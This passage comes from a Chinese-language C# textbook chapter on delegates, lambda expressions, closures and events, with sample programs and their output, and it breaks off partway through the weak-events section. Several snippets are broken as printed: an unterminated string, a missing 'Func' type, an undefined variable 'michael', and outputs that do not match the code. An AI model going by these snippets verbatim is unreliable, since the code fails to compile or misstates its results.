在C#中使用一个类时,分两个阶段操作。首先,需要定义这个类,即告诉编译器这 个类由什么字段和方法组成。然后(除非只使用静态方法),实例化该类的一个对象。使 用委托时,也需要经过这两个步骤。首先必须定义要使用的委托,对于委托,定义它就是 告诉编译器这种类型的委托表示哪种类型的方法。然后,必须创建该委托的一个或多个实 例。编译器在后台将创建表示该委托的一个类。声明委托的语法如下: delegate void IntMethodInvoker(int x); 在这个示例中,声明了一个委托IntMethodInvoker,并指定该委托的每个实例都可以 包含一个方法的引用,该方法带有一个int参数,并返回void。理解委托的一个要点是它们 的类型安全性非常高。在定义委托时,必须给出它所表示的方法的签名和返回类型等全部 细节。  注意: 理解委托的一种好方式是把委托视为给方法的签名和返回类型指定名 称。 假定要定义一个委托TwoLongsOp,该委托表示的方法有两个long型参数,返回类型 为double。可以编写如下代码: delegate double TwoLongsOp(long first, long second); 或者要定义一个委托,它表示的方法不带参数,返回一个string型的值,可以编写如 下代码: delegate string GetAString(); 其语法类似于方法的定义,但没有方法主体,且定义的前面要加上关键字delegate。 因为定义委托基本上是定义一个新类,所以可以在定义类的任何相同地方定义委托。也就 是说,可以在另一个类的内部定义委托,也可以在任何类的外部定义,还可以在名称空间 中把委托定义为顶层对象。根据定义的可见性和委托的作用域,可以在委托的定义上应用 任意常见的访问修饰符:public、private、protected等: public delegate string GetAString();  注意: 实际上,“定义一个委托”是指“定义一个新类”。委托实现为派生自基 类System. MulticastDelegate的类,System.MulticastDelegate又派生自基类 System.Delegate。C#编译器能识别这个类,会使用其委托语法,因此我们不需要了解 这个类的具体执行情况。这是C#与基类共同合作以使编程更易完成的另一个范例。 定义好委托后,就可以创建它的一个实例,从而用该实例存储特定方法的细节。  注意: 但是,此处在术语方面有一个问题。类有两个不同的术语:“类”表示 较广义的定义,“对象”表示类的实例。但委托只有一个术语。在创建委托的实例时,所 创建的委托的实例仍称为委托。必须从上下文中确定所使用委托的确切含义。 9.2.2 使用委托 下面的代码段说明了如何使用委托。这是在int值上调用ToString()方法的一种相当 冗长的方式(代码文件GetAStringDemo/Program.cs): private delegate string GetAString(); public static void Main() { int x = 40; GetAString firstStringMethod = new GetAString(x.ToString); WriteLine($"String is {firstStringMethod()}"); // With firstStringMethod initialized to x.ToString(), // the above statement is equivalent to saying // Console.WriteLine($"String is {x.ToString()}"); } 在这段代码中,实例化类型为GetAString的委托,并对它进行初始化,使其引用整型 变量x的ToString()方法。在C#中,委托在语法上总是接受一个参数的构造函数,这个 参数就是委托引用的方法。这个方法必须匹配最初定义委托时的签名。所以在这个示例 中,如果用不带参数并返回一个字符串的方法来初始化firstStringMethod变量,就会产生 一个编译错误。注意,因为int.ToString()是一个实例方法(不是静态方法),所以需要 指定实例(x)和方法名来正确地初始化委托。 下一行代码使用这个委托来显示字符串。在任何代码中,都应提供委托实例的名称, 后面的圆括号中应包含调用该委托中的方法时使用的任何等效参数。所以在上面的代码 中,Console.WriteLine()语句完全等价于注释掉的代码行。 实际上,给委托实例提供圆括号与调用委托类的Invoke()方法完全相同。因为 firstStringMethod是委托类型的一个变量,所以C#编译器会用firstStringMethod.Invoke() 代替firstStringMethod()。 firstStringMethod(); firstStringMethod.Invoke(); 为了减少输入量,在需要委托实例的每个位置可以只传送地址的名称。这称为委托推 断。只要编译器可以把委托实例解析为特定的类型,这个C#特性就是有效的。下面的示 例用GetAString委托的一个新实例初始化GetAString类型的firstStringMethod变量: GetAString firstStringMethod = new GetAString(x.ToString); 只要用变量x把方法名传送给变量firstStringMethod,就可以编写出作用相同的代码: GetAString firstStringMethod = x.ToString; C#编译器创建的代码是一样的。由于编译器会用firstStringMethod检测需要的委托类 型,因此它创建GetAString委托类型的一个实例,用对象x把方法的地址传送给构造函 数。  注意: 调用上述方法名时,输入形式不能为x.ToString()(不要输入圆括 号),也不能把它传送给委托变量。输入圆括号会调用一个方法,而调用 x.ToString()方法会返回一个不能赋予委托变量的字符串对象。只能把方法的地址赋 予委托变量。 委托推断可以在需要委托实例的任何地方使用。委托推断也可以用于事件,因为事件 基于委托(参见本章后面的内容)。 委托的一个特征是它们的类型是安全的,可以确保被调用的方法的签名是正确的。但 有趣的是,它们不关心在什么类型的对象上调用该方法,甚至不考虑该方法是静态方法还 是实例方法。  注意: 给定委托的实例可以引用任何类型的任何对象上的实例方法或静态方 法——只要方法的签名匹配委托的签名即可。 为了说明这一点,扩展上面的代码段,让它使用firstStringMethod委托在另一个对象 上调用其他两个方法,其中一个是实例方法,另一个是静态方法。为此,使用本章前面定 义的Currency结构。Currency结构有自己的ToString()重载方法和一个与 GetCurrencyUnit()签名相同的静态方法。这样,就可以用同一个委托变量调用这些方法 了(代码文件GetAStringDemo/Currency.cs): struct Currency { public uint Dollars; public ushort Cents; public Currency(uint dollars, ushort cents) { this.Dollars = dollars; this.Cents = cents; } public override string ToString() => $"${Dollars}.{Cents,2:00}"; public static string GetCurrencyUnit() => "Dollar"; public static explicit operator Currency (float value) { checked { uint dollars = (uint)value; ushort cents = (ushort)((value-dollars) * 100); return new Currency(dollars, cents); } } public static implicit operator float (Currency value) => value.Dollars + (value.Cents / 100.0f); public static implicit operator Currency (uint value) => new Currency(value, 0); public static implicit operator uint (Currency value) => value.Dollars; } 下面就可以使用GetAString实例,代码如下所示(代码文件 GetAStringDemo/Program.cs): private delegate string GetAString(); public static void Main() { int x = 40; GetAString firstStringMethod = x.ToString; WriteLine($"String is {firstStringMethod()}"); var balance = new Currency(34, 50); // firstStringMethod references an instance method firstStringMethod = balance.ToString; WriteLine($"String is {firstStringMethod()}"); // firstStringMethod references a static method firstStringMethod = new GetAString(Currency.GetCurrencyUnit); WriteLine($"String is {firstStringMethod()}"); } 这段代码说明了如何通过委托来调用方法,然后重新给委托指定在类的不同实例上引 用的不同方法,甚至可以指定静态方法,或者指定在类的不同类型实例上引用的方法,只 要每个方法的签名匹配委托定义即可。 运行此应用程序,会得到委托引用的不同方法的输出结果: String is 40 String is $34.50 String is Dollar 但是,我们实际上还没有说明把一个委托传递给另一个方法的具体过程,也没有得到 任何特别有用的结果。调用int和Currency对象的ToString()方法要比使用委托直观得 多!但是,需要用一个相当复杂的示例来说明委托的本质,才能真正领会到委托的用处。 下一节会给出两个委托的示例。第一个示例仅使用委托来调用两个不同的操作。它说明了 如何把委托传递给方法,如何使用委托数组,但这仍没有很好地说明:没有委托,就不能 完成很多工作。第二个示例就复杂得多了,它有一个类BubbleSorter,该类实现一个方法 来按照升序排列一个对象数组。没有委托,就很难编写出这个类。 9.2.3 简单的委托示例 在这个示例中,定义一个类MathOperations,它有两个静态方法,对double类型的值 执行两种操作。然后使用该委托调用这些方法。MathOperations类如下所示: class MathOperations { public static double MultiplyByTwo(double value) => value * 2; public static double Square(double value) => value * value; } 下面调用这些方法(代码文件SimpleDelegate/Program.cs): using static System.Console; namespace Wrox.ProCSharp.Delegates { delegate double DoubleOp(double x); class Program { static void Main() { DoubleOp[] operations = { MathOperations.MultiplyByTwo, MathOperations.Square }; for (int i=0; i < operations.Length; i++) { WriteLine($"Using operations[{i}]:); ProcessAndDisplayNumber(operations[i], 2.0); ProcessAndDisplayNumber(operations[i], 7.94); ProcessAndDisplayNumber(operations[i], 1.414); WriteLine(); } } static void ProcessAndDisplayNumber(DoubleOp action, double value) { double result = action(value); WriteLine($"Value is {value}, result of operation is {result}"); } } } 在这段代码中,实例化了一个DoubleOp委托的数组(记住,一旦定义了委托类,基 本上就可以实例化它的实例,就像处理一般的类那样——所以把一些委托的实例放在数组 中是可行的)。该数组的每个元素都初始化为指向由MathOperations类实现的不同操作。 然后遍历这个数组,把每个操作应用到3个不同的值上。这说明了使用委托的一种方式 ——把方法组合到一个数组中来使用,这样就可以在循环中调用不同的方法了。 这段代码的关键一行是把每个委托实际传递给ProcessAndDisplayNumber方法,例 如: ProcessAndDisplayNumber(operations[i], 2.0); 其中传递了委托名,但不带任何参数。假定operations[i]是一个委托,在语法上: ● operations[i]表示“这个委托”。换言之,就是委托表示的方法。 ● operations[i](2.0)表示“实际上调用这个方法,参数放在圆括号中”。 ProcessAndDisplayNumber方法定义为把一个委托作为其第一个参数: static void ProcessAndDisplayNumber(DoubleOp action, double value) 然后,在这个方法中,调用: double result = action(value); 这实际上是调用action委托实例封装的方法,其返回结果存储在result中。运行这个示 例,得到如下所示的结果: SimpleDelegate Using operations[0]: Value is 2, result of operation is 4 Value is 7.94, result of operation is 15.88 Value is 1.414, result of operation is 2.828 Using operations[1]: Value is 2, result of operation is 4 Value is 7.94, result of operation is 63.0436 Value is 1.414, result of operation is 1.999396 9.2.4 Action<T>和Func<T>委托 除了为每个参数和返回类型定义一个新委托类型之外,还可以使用Action<T>和 Func<T>委托。泛型Action<T>委托表示引用一个void返回类型的方法。这个委托类存在不 同的变体,可以传递至多16种不同的参数类型。没有泛型参数的Action类可调用没有参数 的方法。Action<in T>调用带一个参数的方法,Action<in T1, in T2>调用带两个参数的方 法,Action<in T1, in T2, in T3, in T4, in T5, in T6, in T7, in T8>调用带8个参数的方法。 Func<T>委托可以以类似的方式使用。Func<T>允许调用带返回类型的方法。与 Action<T>类似,Func<T>也定义了不同的变体,至多也可以传递16个参数类型和一个返 回类型。Func<out TResult>委托类型可以调用带返回类型且无参数的方法,Func<in T, out TResult>调用带一个参数的方法,Func<in T1, in T2, in T3, in T4, out TResult>调用带4个参 数的方法。 9.2.3节中的示例声明了一个委托,其参数是double类型,返回类型是double: delegate double DoubleOp(double x); 除了声明自定义委托DoubleOp之外,还可以使用Func<in T, out TResult>委托。可以 声明一个该委托类型的变量,或者声明该委托类型的数组,如下所示: <double, double>[] operations = { MathOperations.MultiplyByTwo, MathOperations.Square }; 使用该委托,并将ProcessAndDisplayNumber()方法作为参数: static void ProcessAndDisplayNumber(Func<double, double> action, double value) { double result = action(value); WriteLine($"Value is {value}, result of operation is {result}"); } 9.2.5 BubbleSorter示例 下面的示例将说明委托的真正用途。我们要编写一个类BubbleSorter,它实现一个静 态方法Sort(),这个方法的第一个参数是一个对象数组,把该数组按照升序重新排列。 例如,假定传递给该委托的是int数组:{0, 5, 6, 2, 1},则返回的结果应是{0, 1, 2, 5, 6}。 冒泡排序算法非常著名,是一种简单的数字排序方法。它适合于一小组数字,因为对 于大量的数字(超过10个),还有更高效的算法。冒泡排序算法重复遍历数组,比较每一 对数字,按照需要交换它们的位置,从而把最大的数字逐步移动到数组的末尾。对于给 int型数字排序,进行冒泡排序的方法如下所示: bool swapped = true; do { swapped = false; for (int i = 0; i < sortArray.Length-1; i++) { if (sortArray[i] > sortArray[i+1])) // problem with this test { int temp = sortArray[i]; sortArray[i] = sortArray[i + 1]; sortArray[i + 1] = temp; swapped = true; } } } while (swapped); 它非常适合于int型,但我们希望Sort()方法能给任何对象排序。换言之,如果某段 客户端代码包含Currency结构或自定义的其他类和结构的数组,就需要对该数组排序。这 样,上面代码中的if(sortArray[i] < sortArray[i+1])就有问题了,因为它需要比较数组中 的两个对象,看看哪一个更大。可以对int型进行这样的比较,但如何对没有实现“<”运算 符的新类进行比较?答案是能识别该类的客户端代码必须在委托中传递一个封装的方法, 这个方法可以进行比较。另外,不对temp变量使用int类型,而使用泛型类型就可以实现 泛型方法Sort()。 对于接受类型T的泛型方法Sort<T>(),需要一个比较方法,其两个参数的类型是T, if比较的返回类型是布尔类型。这个方法可以从Func<T1, T2, TResult>委托中引用,其中 T1和T2的类型相同:Func<T, T, bool>。 给Sort<T>方法指定下述签名: static public void Sort<T>(IList<T> sortArray, Func<T, T, bool> comparison) 这个方法的文档声明,comparison必须引用一个方法,该方法带有两个参数,如果第 一个参数的值“小于”第二个参数,就返回true。 设置完毕后,下面定义BubbleSorter类(代码文件BubbleSorter/BubbleSorter.cs): class BubbleSorter { static public void Sort<T>(IList<T> sortArray, Func<T, T, bool> comparison) { bool swapped = true; do { swapped = false; for (int i = 0; i < sortArray.Count-1; i++) { if (comparison(sortArray[i+1], sortArray[i])) { T temp = sortArray[i]; sortArray[i] = sortArray[i + 1]; sortArray[i + 1] = temp; swapped = true; } } } while (swapped); } } 为了使用这个类,需要定义另一个类,从而建立要排序的数组。在本例中,假定 Mortimer Phones移动电话公司有一个员工列表,要根据他们的薪水进行排序。每个员工分 别由类Employee的一个实例表示,如下所示(代码文件BubbleSorter/Employee.cs): class Employee { public Employee(string name, decimal salary) { Name = name; Salary = salary; } public string Name { get; } public decimal Salary { get; private set; } public override string ToString() => $"{Name}, {Salary:C}"; public static bool CompareSalary(Employee e1, Employee e2) => e1.Salary < e2.Salary; } 注意,为了匹配Func<T, T, bool>委托的签名,在这个类中必须定义CompareSalary, 它的参数是两个Employee引用,并返回一个布尔值。在实现比较的代码中,根据薪水进 行比较。 下面编写一些客户端代码,完成排序(代码文件BubbleSorter/Program.cs): using static System.Console; namespace Wrox.ProCSharp.Delegates { class Program { static void Main() { Employee[] employees = { new Employee("Bugs Bunny", 20000), new Employee("Elmer Fudd", 10000), new Employee("Daffy Duck", 25000), new Employee("Wile Coyote", 1000000.38m), new Employee("Foghorn Leghorn", 23000), new Employee("RoadRunner", 50000) }; BubbleSorter.Sort(employees, Employee.CompareSalary); foreach (var employee in employees) { WriteLine(employee); } } } } 运行这段代码,正确显示按照薪水排列的Employee,如下所示: BubbleSorter Elmer Fudd, $10,000.00 Bugs Bunny, $20,000.00 Foghorn Leghorn, $23,000.00 Daffy Duck, $25,000.00 RoadRunner, $50,000.00 Wile Coyote, $1,000,000.38 9.2.6 多播委托 前面使用的每个委托都只包含一个方法调用。调用委托的次数与调用方法的次数相 同。如果要调用多个方法,就需要多次显式调用这个委托。但是,委托也可以包含多个方 法。这种委托称为多播委托。如果调用多播委托,就可以按顺序连续调用多个方法。为 此,委托的签名就必须返回void;否则,就只能得到委托调用的最后一个方法的结果。 可以使用返回类型为void的Action<double>委托(代码文件 MulticastDelegates/Program.cs): class Program { static void Main() { Action<double> operations = MathOperations.MultiplyByTwo; operations += MathOperations.Square; 在前面的示例中,因为要存储对两个方法的引用,所以实例化了一个委托数组。而这 里只是在同一个多播委托中添加两个操作。多播委托可以识别运算符“+”和“+=”。另外, 还可以扩展上述代码中的最后两行,如下面的代码段所示: Action<double> operation1 = MathOperations.MultiplyByTwo; Action<double> operation2 = MathOperations.Square; Action<double> operations = operation1 + operation2; 多播委托还识别运算符“-”和“- =”,以从委托中删除方法调用。  注意: 根据后台执行的操作,多播委托实际上是一个派生自 System.MulticastDelegate的类,System.MulticastDelegate又派生自基类System.Delegate。 System.MulticastDelegate的其他成员允许把多个方法调用链接为一个列表。 为了说明多播委托的用法,下面把SimpleDelegate示例转换为一个新示例 MulticastDelegate。现在需要委托引用返回void的方法,就应重写MathOperations类中的方 法,让它们显示其结果,而不是返回它们(代码文件 MulticastDelegates/MathOperations.cs): class MathOperations { public static void MultiplyByTwo(double value) { double result = value * 2; WriteLine($"Multiplying by 2: {value} gives {result}"); } public static void Square(double value) { double result = value * value; WriteLine($"Squaring: {value} gives {result}"); } } 为了适应这个改变,也必须重写ProcessAndDisplayNumber()方法(代码文件 MulticastDelegates/Program.cs): static void ProcessAndDisplayNumber(Action<double> action, double value) { WriteLine(); WriteLine($"ProcessAndDisplayNumber called with value = {value}"); action(value); } 下面测试多播委托,其代码如下: static void Main() { Action<double> operations = MathOperations.MultiplyByTwo; operations += MathOperations.Square; ProcessAndDisplayNumber(operations, 2.0); ProcessAndDisplayNumber(operations, 7.94); ProcessAndDisplayNumber(operations, 1.414); WriteLine(); } 现在,每次调用ProcessAndDisplayNumber()方法时,都会显示一条消息,说明它 已经被调用。然后,下面的语句会按顺序调用action委托实例中的每个方法: action(value); 运行这段代码,得到如下所示的结果: MulticastDelegate ProcessAndDisplayNumber called with value = 2 Multiplying by 2: 2 gives 4 Squaring: 2 gives 4 ProcessAndDisplayNumber called with value = 7.94 Multiplying by 2: 7.94 gives 15.88 Squaring: 7.94 gives 63.0436 ProcessAndDisplayNumber called with value = 1.414 Multiplying by 2: 1.414 gives 2.828 Squaring: 1.414 gives 1.999396 如果正在使用多播委托,就应知道对同一个委托,调用其方法链的顺序并未正式定 义。因此应避免编写依赖于以特定顺序调用方法的代码。 通过一个委托调用多个方法还可能导致一个更严重的问题。多播委托包含一个逐个调 用的委托集合。如果通过委托调用的其中一个方法抛出一个异常,整个迭代就会停止。下 面是MulticastIteration示例,其中定义了一个简单的委托Action,它没有参数并返回void。 这个委托打算调用One()和Two()方法,这两个方法满足委托的参数和返回类型要 求。注意One()方法抛出了一个异常(代码文件 MulticastDelegateWithIteration/Program.cs): using System; using static System.Console; namespace Wrox.ProCSharp.Delegates { class Program { static void One() { WriteLine("One"); throw new Exception("Error in one"); } static void Two() { WriteLine("Two"); } 在Main()方法中,创建了委托d1,它引用方法One();接着把Two()方法的地 址添加到同一个委托中。调用d1委托,就可以调用这两个方法。在try/catch块中捕获异 常: static void Main() { Action d1 = One; d1 += Two; try { d1(); } catch (Exception) { WriteLine("Exception caught"); } } } } 委托只调用了第一个方法。因为第一个方法抛出了一个异常,所以委托的迭代会停 止,不再调用Two()方法。没有指定调用方法的顺序时,结果会有所不同。 One Exception Caught  注意: 错误和异常的介绍详见第14章。 在这种情况下,为了避免这个问题,应自己迭代方法列表。Delegate类定义 GetInvocationList()方法,它返回一个Delegate对象数组。现在可以使用这个委托调用与 委托直接相关的方法,捕获异常,并继续下一次迭代: static void Main() { Action d1 = One; d1 += Two; Delegate[] delegates = d1.GetInvocationList(); foreach (Action d in delegates) { try { d(); } catch (Exception) { WriteLine("Exception caught"); } } } 修改了代码后,运行应用程序,会看到在捕获了异常后将继续迭代下一个方法。 One Exception caught Two 9.2.7 匿名方法 到目前为止,要想使委托工作,方法必须已经存在(即委托通过其将调用方法的相同 签名定义)。但还有另外一种使用委托的方式:通过匿名方法。匿名方法是用作委托的参 数的一段代码。 用匿名方法定义委托的语法与前面的定义并没有区别。但在实例化委托时,就会出现 区别。下面是一个非常简单的控制台应用程序,它说明了如何使用匿名方法(代码文件 AnonymousMethods/Program.cs): using static System.Console; using System; namespace Wrox.ProCSharp.Delegates { class Program { static void Main() { string mid = ", middle part, "; Func<string, string> anonDel = delegate(string param) { param += mid; param += " and this was added to the string."; return param; }; WriteLine(anonDel("Start of string")); } } } Func<string, string>委托接受一个字符串参数,返回一个字符串。anonDel是这种委托 类型的变量。不是把方法名赋予这个变量,而是使用一段简单的代码:前面是关键字 delegate,后面是一个字符串参数。 可以看出,该代码块使用方法级的字符串变量mid,该变量是在匿名方法的外部定义 的,并将其添加到要传递的参数中。接着代码返回该字符串值。在调用委托时,把一个字 符串作为参数传递,将返回的字符串输出到控制台上。 匿名方法的使用优点是减少了要编写的代码。不必定义仅由委托使用的方法。在为事 件定义委托时,这一点非常明显(本章后面探讨事件)。这有助于降低代码的复杂性,尤 其是在定义了好几个事件时,代码会显得比较简单。使用匿名方法时,代码执行速度并没 有加快。编译器仍定义了一个方法,该方法只有一个自动指定的名称,我们不需要知道这 个名称。 在使用匿名方法时,必须遵循两条规则。在匿名方法中不能使用跳转语句(break、 goto或continue)跳到该匿名方法的外部,反之亦然:匿名方法外部的跳转语句不能跳到 该匿名方法的内部。 在匿名方法内部不能访问不安全的代码。另外,也不能访问在匿名方法外部使用的 ref和out参数。但可以使用在匿名方法外部定义的其他变量。 如果需要用匿名方法多次编写同一个功能,就不要使用匿名方法。此时与复制代码相 比,编写一个命名方法比较好,因为该方法只需要编写一次,以后可通过名称引用它。  注意: 匿名方法的语法在C# 2中引入。在新的程序中,并不需要这个语法, 因为lambda表达式(参见下一节)提供了相同的功能,还提供了其他功能。但是,在 已有的源代码中,许多地方都使用了匿名方法,所以最好了解它。 从C# 3.0开始,可以使用lambda表达式。 9.3 lambda表达式 自C# 3.0开始,就可以使用一种新语法把实现代码赋予委托:lambda表达式。只要有 委托参数类型的地方,就可以使用lambda表达式。前面使用匿名方法的例子可以改为使用 lambda表达式。 using System; using static System.Console; namespace Wrox.ProCSharp.Delegates { class Program { static void Main() { string mid = ", middle part, "; Func<string, string> lambda = param => { param += mid; param += " and this was added to the string."; return param; }; WriteLine(lambda("Start of string")); } } } lambda运算符“=>”的左边列出了需要的参数,而其右边定义了赋予lambda变量的方法 的实现代码。 9.3.1 参数 lambda表达式有几种定义参数的方式。如果只有一个参数,只写出参数名就足够了。 下面的lambda表达式使用了参数s。因为委托类型定义了一个string参数,所以s的类型就是 string。实现代码调用String.Format()方法来返回一个字符串,在调用该委托时,就把该 字符串最终写入控制台(代码文件LambdaExpressions/Program.cs): Func<string, string> oneParam = s => $"change uppercase {s.ToUpper()}"; WriteLine(oneParam("test")); 如果委托使用多个参数,就把这些参数名放在花括号中。这里参数x和y的类型是 double,由Func<double, double, double>委托定义: Func<double, double, double> twoParams = (x, y) => x * y; WriteLine(twoParams(3, 2)); 为了方便起见,可以在花括号中给变量名添加参数类型。如果编译器不能匹配重载后 的版本,那么使用参数类型可以帮助找到匹配的委托: Func<double, double, double> twoParamsWithTypes = (double x, double y) => x * y; WriteLine(twoParamsWithTypes(4, 2)); 9.3.2 多行代码 如果lambda表达式只有一条语句,在方法块内就不需要花括号和return语句,因为编 译器会添加一条隐式的return语句: Func<double, double> square = x => x * x; 添加花括号、return语句和分号是完全合法的,通常这比不添加这些符号更容易阅 读: Func<double, double> square = x => { return x * x; } 但是,如果在lambda表达式的实现代码中需要多条语句,就必须添加花括号和return 语句: Func<string, string> lambda = param => { param += mid; param += " and this was added to the string."; return param; }; 9.3.3 闭包 通过lambda表达式可以访问lambda表达式块外部的变量,这称为闭包。闭包是非常好 用的功能,但如果使用不当,也会非常危险。 在下面的示例中,Func<int, int>类型的lambda表达式需要一个int参数,返回一个int 值。该lambda表达式的参数用变量x定义。实现代码还访问了lambda表达式外部的变量 someVal。只要不假设在调用f时,lambda表达式创建了一个以后使用的新方法,这似乎没 有什么问题。看看下面这个代码块,调用f的返回值应是x加5的结果,但实情似乎不是这 样: int someVal = 5; Func<int, int> f = x => x + someVal; 假定以后要修改变量someVal,于是调用lambda表达式时,会使用someVal的新值。 调用f(3)的结果是10: someVal = 7; WriteLine(f(3)); 同样,在lambda表达式中修改闭包的值时,可以在lambda表达式外部访问已改动的 值。 现在我们也许会奇怪,如何在lambda表达式的内部访问lambda表达式外部的变量。为 了理解这一点,看看编译器在定义lambda表达式时做了什么。对于lambda表达式x => x + someVal,编译器会创建一个匿名类,它有一个构造函数来传递外部变量。该构造函数取 决于从外部访问的变量数。对于这个简单的例子,构造函数接受一个int值。匿名类包含 一个匿名方法,其实现代码、参数和返回类型由lambda表达式定义: public class AnonymousClass { private int someVal; public AnonymousClass(int someVal) { this.someVal = someVal; } public int AnonymousMethod(int x) => x + someVal; } 使用lambda表达式并调用该方法,会创建匿名类的一个实例,并传递调用该方法时变 量的值。  注意: 如果给多个线程使用闭包,就可能遇到并发冲突。最好仅给闭包使用 不变的类型。这样可以确保不改变值,也不需要同步。  注意: lambda表达式可以用于类型为委托的任意地方。类型是Expression或 Expression<T>时,也可以使用lambda表达式,此时编译器会创建一个表达式树。该功 能的介绍详见第11章。 9.4 事件 事件基于委托,为委托提供了一种发布/订阅机制。在.NET架构内到处都能看到事 件。在Windows应用程序中,Button类提供了Click事件。这类事件就是委托。触发Click事 件时调用的处理程序方法需要得到定义,而其参数由委托类型定义。 在本节的示例代码中,事件用于连接CarDealer类和Consumer类。CarDealer类提供了 一个新车到达时触发的事件。Consumer类订阅该事件,以获得新车到达的通知。 9.4.1 事件发布程序 我们从CarDealer类开始介绍,它基于事件提供一个订阅。CarDealer类用event关键字 定义了类型为EventHandler<CarInfoEventArgs>的NewCarInfo事件。在NewCar()方法 中,通过调用RaiseNewCarInfo方法触发NewCarInfo事件。这个方法的实现确认委托是否 为空,如果不为空,就引发事件(代码文件EventSample/CarDealer.cs): using static System.Console; using System; namespace Wrox.ProCSharp.Delegates { public class CarInfoEventArgs: EventArgs { public CarInfoEventArgs(string car) { Car = car; } public string Car { get; } } public class CarDealer { public event EventHandler<CarInfoEventArgs> NewCarInfo; public void NewCar(string car) { WriteLine($"CarDealer, new car {car}"); NewCarInfo? .Invoke(this, new CarInfoEventArgs(car)); } } }  注意: 前面例子中使用的空传播运算符.?是C# 6新增的运算符。这个运算符 的讨论参见第8章。 CarDealer类提供了EventHandler<CarInfoEventArgs>类型的NewCarInfo事件。作为一 个约定,事件一般使用带两个参数的方法;其中第一个参数是一个对象,包含事件的发送 者,第二个参数提供了事件的相关信息。第二个参数随不同的事件类型而改变。.NET 1.0 为所有不同数据类型的事件定义了几百个委托。有了泛型委托EventHandler<T>后,就不 再需要委托了。EventHandler<TEventArgs>定义了一个处理程序,它返回void,接受两个 参数。对于EventHandler<TEventArgs>,第一个参数必须是object类型,第二个参数是T类 型。EventHandler<TEventArgs>还定义了一个关于T的约束;它必须派生自基类EventArgs, CarInfoEventArgs就派生自基类EventArgs: public event EventHandler<CarInfoEventArgs> NewCarInfo; 委托EventHandler<TEventArgs>的定义如下: public delegate void EventHandler<TEventArgs>(object sender, TEventArgs e) where TEventArgs: EventArgs 在一行上定义事件是C#的简化记法。编译器会创建一个 EventHandler<CarInfoEventArgs>委托类型的变量,并添加方法,以便从委托中订阅和取 消订阅。该简化记法的较长形式如下所示。这非常类似于自动属性和完整属性之间的关 系。对于事件,使用add和remove关键字添加和删除委托的处理程序: private EventHandler<CarInfoEventArgs> newCarInfo; public event EventHandler<CarInfoEventArgs> NewCarInfo { add { newCarInfo += value; } remove { newCarInfo -= value; } }  注意: 如果不仅需要添加和删除事件处理程序,定义事件的长记法就很有 用,例如,需要为多个线程访问添加同步操作。WPF控件使用长记法给事件添加冒泡 和隧道功能。事件的冒泡和隧道详见第29章。 CarDealer类通过调用委托的RaiseNewCarInfo方法触发事件。使用委托NewCarInfo和 花括号可以调用给事件订阅的所有处理程序。注意,与之前的多播委托一样,方法的调用 顺序无法保证。为了更多地控制处理程序的调用,可以使用Delegate类的 GetInvocationList()方法,访问委托列表中的每一项,并独立地调用每个方法,如上所 示。 NewCarInfo? .Invoke(this, new CarInfoEventArgs(car)); 触发事件是只包含一行代码的程序。然而,这只是C# 6的功能。在C# 6版本之前,触 发事件会更复杂。这是C# 6之前实现的相同功能。在触发事件之前,需要检查事件是否为 空。因为在进行null检查和触发事件之间,可以使用另一个线程把事件设置为null,所以 使用一个局部变量,如下所示: EventHandler<CarInfoEventArgs> newCarInfo = NewCarInfo; if (newCarInfo ! = null) { newCarInfo(this, new CarInfoEventArgs(car)); } 在C # 6中,所有这一切都可以使用null传播运算符和一个代码行取代,如前所示。 在触发事件之前,需要检查委托NewCarInfo是否不为空。如果没有订阅处理程序,委 托就为空: protected virtual void RaiseNewCarInfo(string car) { NewCarInfo? .Invoke(this, new CarInfoEventArgs(car)); } 9.4.2 事件侦听器 Consumer类用作事件侦听器。这个类订阅了CarDealer类的事件,并定义了 NewCarIsHere方法,该方法满足EventHandler<CarInfoEventArgs>委托的要求,该委托的 参数类型是object和CarInfoEventArgs(代码文件EventsSample/Consumer.cs): using static System.Console; namespace Wrox.ProCSharp.Delegates { public class Consumer { private string _name; public Consumer(string name) { _name = name; } public void NewCarIsHere(object sender, CarInfoEventArgs e) { WriteLine($"{_name}: car {e.Car} is new"); } } } 现在需要连接事件发布程序和订阅器。为此使用CarDealer类的NewCarInfo事件,通 过“+=”创建一个订阅。消费者michael(变量)订阅了事件,接着消费者sebastian(变量) 也订阅了事件,然后michael(变量)通过“-=”取消了订阅(代码文件 EventsSample/Program.cs)。 namespace Wrox.ProCSharp.Delegates { class Program { static void Main() { var dealer = new CarDealer(); var daniel = new Consumer("Daniel"); dealer.NewCarInfo += michael.NewCarIsHere; dealer.NewCar("Mercedes"); var sebastian = new Consumer("Sebastian"); dealer.NewCarInfo += sebastian.NewCarIsHere; dealer.NewCar("Ferrari"); dealer.NewCarInfo -= sebastian.NewCarIsHere; dealer.NewCar("Red Bull Racing"); } } } 运行应用程序,一辆Mercedes汽车到达,Daniel得到了通知。因为之后Sebastian也注 册了该订阅,所以Daniel和Sebastian都获得了新款Ferrari汽车的通知。接着Sebastian取消 了订阅,所以只有Daniel获得了Red Bull汽车的通知: CarDealer, new car Mercedes Daniel: car Mercedes is new CarDealer, new car Ferrari Daniel: car Ferrari is new Sebastian: car Ferrari is new CarDealer, new car Red Bull Racing Daniel: car Red Bull is new 9.4.3 弱事件 通过事件,可直接连接发布程序和侦听器。但是,垃圾回收方面存在问题。例如,如 果不再直接引用侦听器,发布程序就仍有一个引用。垃圾回收器不能清空侦听器占用的内 存,因为发布程序仍保有一个引用,会针对侦听器触发事件。 这种强连接可以通过弱事件模式来解决,即使用WeakEventManager作为发布程序和 侦听器之间的中介。 前面的示例把CarDealer作为发布程序,把Consumer作为侦听器,本节将修改这个示 例,以使用弱事件模式。 WeakEventManager < T >在System.Windows程序集中定义,不属于.NET Core。这个 示例用.NET Framework 4.6控制台应用程序完成,不运行在其他平台上。  注意: 动态创建订阅器时,为了避免出现资源泄露,必须特别留意事件。也 就是说,需要在订阅器离开作用域(不再需要它)之前,确保取消对事件的订阅,或 者使用弱事件。事件常常是应用程序中内存泄露的一个原因,因为订阅器有长时间存 在的作用域,所以源代码也不能被垃圾回收。 使用弱事件,就不需要改变事件发布器(在示例代码CarDealer类中)。无论使用紧 密耦合的事件还是弱事件都没有关系,其实现是一样的。不同的是使用者的实现。使用者 需要实现接口IWeakEventListener。这个接口定义了方法ReceiveWeakEvent,在事件触发 时会在弱事件管理器中调用该方法。该方法的实现充当代理,调用方法NewCarIsHere(代 码文件WeakEvents/Consumer.cs): using System; using static System.Console; using System.Windows; namespace Wrox.ProCSharp.Delegates { public class Consumer: IWeakEventListener { private string _name; public Consumer(string name) { this._name = name; } public void NewCarIsHere(object sender, CarInfoEventArgs e) { 